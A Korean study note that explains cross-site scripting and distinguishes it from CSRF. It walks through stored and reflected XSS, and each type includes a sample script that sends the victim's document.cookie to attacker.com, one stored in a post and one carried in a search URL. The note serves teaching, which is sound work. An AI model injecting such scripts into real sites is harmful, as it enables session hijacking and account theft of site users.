설명
- Cross-site scripting
- 현재는 잘못된 명칭
- 초기에 다른 사이트 데이터를 침해하는 공격에서 파생된 명칭
- 현재는 모든 형태의 데이터 주입을 지칭한다
- 약어가 CSS가 아닌 XSS인 이유는 Cascading Style Sheet와 혼동이 올 수 있기 때문
- 공격자가 취약점이 있는 웹 서버에
악성 스크립트를 삽입
하는 것
- 특정 사이트에 대한 사용자의 신뢰를 악용
- 주로 CSRF를 위해 사용되기 때문에 CSRF와 혼동되는 경우가 있는데, XSS는
스크립트를 실행시키는 것
이고 CSRF는 특정한 행동을 시키는 것
이다
Type
Stored(Persistent)
정의
- 취약점이 있는 웹 서버에 악성 스크립트를 저장하여 피해자의 브라우저에서 스크립트를 실행시키는 XSS 기법
예시
- 공격자가 다음과 같은 악성 코드가 포함된 글을 서버에 저장
<script>window.location='http://attacker.com/?cookie='+document.cookie</script>
- 해당 글을 읽은 피해자는 서버에서 악성 스크립트가 포함된 내용을 응답 받음
- 피해자의 브라우저에서 악성 스크립트 실행됨
- 공격자의 서버(attacker.com)에 민감정보(쿠키) 전송
Reflected(Non-persistent)
정의
- 공격자가 악성 스크립트를 URL 파라미터에 넣어 피해자의 브라우저에서 스크립트를 실행시키는 XSS 기법
- 서버에서 검색어 같은 외부 입력 값을 그대로 사용자에게 응답하면서 발생
- 브라우저 자체에서 차단하는 경우가 많아 상대적으로 공격을 성공시키기 어렵다
예시
- 공격자가 악성 코드가 포함된 링크를 피해자에게 전달(메일, 게시판 등)
http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>
- 해당 링크를 클릭한 피해자는 서버에서 검색어(악성 스크립트)를 그대로 응답 받음
- 피해자의 브라우저에서 악성 스크립트 실행됨
- 공격자의 서버(attacker.com)에 민감정보(쿠키) 전송